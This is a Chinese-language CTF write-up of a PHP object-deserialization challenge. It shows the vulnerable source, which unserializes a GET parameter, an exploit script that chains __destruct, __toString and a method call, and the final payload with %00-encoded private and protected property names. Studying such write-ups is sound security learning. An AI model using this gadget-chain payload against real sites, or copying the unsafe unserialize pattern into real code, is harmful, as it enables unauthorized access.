知识点就三个:PHP 反序列化、私有属性序列化、受保护属性序列化。
题目中已经给出了源码:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
这是一道 PHP 反序列化题。构造 exp :
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$demo = new w22m;
$demo->w00m = new w33m;
$demo->w00m->w00m = new w44m;
$demo->w00m->w22m = "Getflag";
echo serialize($demo);
?>
得到一串序列化的字符串:
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
由于 w44m 类的属性 admin 是私有属性(private),passwd 是受保护的属性(protected)所以反序列化后的字符串与 public 属性是不一样的。
s:字符串长度:"%00所属类名%00属性名";
示例:
s:11:"%00w44m%00admin";
s:字符串长度:"%00*%00属性名";
示例:
s:9:"%00*%00passwd";s:5:"08067";
?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
拿到 flag :